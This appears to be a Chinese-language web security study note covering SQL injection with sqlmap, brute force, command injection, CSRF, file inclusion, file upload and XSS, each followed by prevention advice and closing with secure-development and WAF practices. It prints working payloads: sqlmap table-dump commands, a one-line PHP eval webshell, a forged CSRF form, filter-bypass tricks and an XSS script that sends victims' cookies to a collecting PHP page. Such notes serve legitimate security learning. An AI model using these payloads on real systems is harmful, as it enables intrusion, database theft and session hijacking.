后台管理界面的一些登陆方式
1.当网站用前端的js代码来验证用户或管理员的身份时,可以在浏览器中设置禁用js,阻止跳转,,越权访问后台
准备webshell文件名列表,敏感文件扫描,验证页面是webshell猜测密码若为弱口令则进入
敏感文件探测
敏感文件:
一般有login.php(后台脚本文件)后台登陆 数据文件.sql 备份文件.tar.gz,rar webshell文件
判断网站脚本类型:
通过输入index.asp,index.php等来判断漏洞扫描
AWVS扫描流程:
1.扫描配置与目标基本信息探测
2.爬虫:目标站点爬取
3.各个漏洞探测模块:具体的漏洞测试
4.漏洞结果记录和呈现
扫描工具需要明确的问题:1.对目标站点的误伤(高流量,请求了危险功能) 2.漏扫的盲区:逻辑漏洞(订单金额数据篡改漏洞)
sql注入
sql注入的成因是因为服务器服务器要执行的数据库代码拼接了用户输入的数据即将数据当成了代码
发现和利用sql注入漏洞基本流程
判断数据库的用户
1
sqlmap -u "目标URL" --user
查看数据库
1
sqlmap -u "目标URL" --dbs
查看当前的数据库用户和数据库
1
sqlmap -u "目标URL" --current-user --current-db
获得当前数据库中数据表的信息
1
sqlmap -u "目标URL" --tables -D "当前数据库名"
读取目标表的列信息
1
sqlmap -u "目标URL" --columns -T "表名" -D "数据库名"
查看数据表中的数据记录条数
1
sqlmap -u "目标URL" --count -T "表名" -D "数据库名"
查看数据表中的全部信息
1
sqlmap -u "目标URL" --dump -T "表名" -D “数据库名”
设置要查看数据的位置
1
sqlmap -u "目标URL" --dump -T "表名" -D "数据库名"
遍历当前数据库的所有表并且下载
1
sqlmap -u "目标URL" -p “攻击的参数” --dump-all -D "数据库名"
post方式注入
1
sqlmap -u "目标URL" --data"&"
暴力破解
owasp zap(截取和处理代理端口的数据包)
user_token(动态改变且不可预测的随机字符串,由上一次的发送之后服务器返回包中包含的user_token)
预防的方法:
1.限制登陆错误的次数
2.验证码
命令注入漏洞的过程和技巧
命令注入(通过web程序在服务器上拼接系统命令)
预防方式:使用命令白名单
命令拼接符的区别;
1.A&B:简单的拼接AB之间无制约关系
2.A&&B:A执行成功,然后才会执行B
3.A|B:A的输出,作为B的输入
4.A||B:A执行失败,然后才会执行B
过滤绕过:
whoami被过滤了 可以用双引号过滤who””ami
csrf攻击(跨站请求伪造)
受害者角度:用户在当前已登陆的web应用程序上执行非本意操作
攻击者角度:攻击者欺骗浏览器,让其以受害者的名义执行自己想要的操作
攻击者伪造html诱导受害者点击
伪造表单获得受害者登陆信息1
2
3
4
5
6
7
8
9<html>
<body>
<form action="能够改变受害者登陆口令或获得受害者登陆令牌的url">
<input type="hidden" name="paasword_new" value="hacker"/>
<input type="hidden" name="password_conf" value="hacker">
<input type="sumbit" value="Click Me"/>
</form>
</body>
</html>
预防方法:
使用http请求头的referer来判断是否是有效可靠来源
使用随机数csrf Token,保证攻击者无法猜测到所有参数
输入原始口令来修改密码
文件包含漏洞
一种代码处理方法,函数如include,require等,参数是文件名,文件名参数用户可控且过滤不严,被攻击者偷梁换柱
需要在服务端开启allow_url_include参数才能进行文件包含
使用../来实现文件夹下目录的切换从而来读其他路径的文件信息
远程执行文件page=远程文件url(只要包含脚本内容就会被执行)
执行过程:(远程文件若为脚本文件则只在攻击者那里执行,若为文本文件则会在被攻击者服务端执行)
用file协议来绕过过滤:file://加物理路劲(文件传输协议,访问本地计算机中的文件)
攻击者思路:
使用黑名单或白名单的方式(白更有效)
文件上传
web允许用户上传恶意代码文件,并在服务器上运行。
上传一句话webshell<?php @eval($_GET[‘cmd’]);?>
使用方法:抓包改包判断文件类型
制作内涵图 使用copy 1.jpg/b+1.txt 2.jpg
nigix畸形解析:xxx.xxx/xxx.php(只要前面的文件存在就会当成php文件执行)
预防方法:
1.阻止非法文件上传
文件后缀名的白名单,文件类型和文件内容的判断
2.组织非法文件执行
文件重命名, 文件压缩重生成,存储目录执行权限,存储目录与web分离
sql注入
回显注入:
mysql中载入文件信息load_file(“路径”)
写入webshell的union select into outfile “路径”
当使用sqlmap注入时若有链接跳转需用–second-order来跳转
盲注:(数据库的执行结果不会直接显示到页面上,页面只会显示真和假两种状态)
基于时间: 最常用if函数if(expr1,expr2(true),expr3(false))最为常用的函数是sleep()和benchmark(count,expr)里面的count参数为重复次数可以将重复次数提高来达到延时的效果。
基于bool:根据页面的返回真假
cast(expression as data_type)翻译为 数据类型转换(表达式 as 新的数据类型)
ifnull(expr1,expr2)如果expr1是null,返回expr2,否则返回本身
sqlmap检测cookie参数要将level设置成2以上
预防方法:
参数化sql语句,预编译
数据类型的检测
用户输入过滤
xss
客户端代码注入通常是javascript。
### 存储型xss
攻击代码在数据库里输出在http响应中
反射型xss
攻击代码在url里输出在http响应中
攻击思路:
1
2
3
4
5
6
7 用于攻击的js代码(需要进行urldecode)
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script>
服务端代码;将前面劫持来的cookie写入text文本中
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
绕过方法:
1.大小写混写
2.嵌套写入
3.注释符过滤
4.使用img标签来绕过<img src=x onerror=alert(1)>(当script标签被过滤)
5.<iframe onload=alert(1)>当script标签被过滤
DOM型xss
攻击代码在url里输出在dom节点中
预防方法:
1.过滤用户输入白名单(在服务端限制输入长度)
2.输出过滤使用htmlspecialchars(将一些特殊的符号转换成html编码)该函数默认不编码单引号或者使用js转义
& =>&
“ =>"
‘ =>'
< =><
> =>>
web安全框架建设
### 企业的sdl(安全开发生产周期)流程:
提升web应用的安全性,减少web应用的安全漏洞。
漏洞和事件处理:
发现方法:
1.安全需求分析
使用web框架和语言的选型建议
敏感信息如密码的保存方案(如加盐后强hash的方案)
是否有上传功能
2.安全扫描:
通过扫描器发现安全问题
自动化
周期性执行
3.入侵检测
项目上线之后进行监控
包含多种检测方式
通过监控入侵行为发现安全问题
4.日志分析
可疑日志+人工分析
可疑日志+扫描器
5.简历src(安全应急响应中心)
处理方法:
1.输入检查
在服务端检查
数据合法性校验:类型,范围,长度
尽可能使用‘白名单’
2.输出检查
在数据输出的点,也需要做一些特定的过滤和转义
比如xss,输出到html标签时就需要进行html编码
3.waf防御
web application firewall
web应用防火墙
能够拦截攻击,如针对sql注入,xss和远程代码执行等漏洞进行的攻击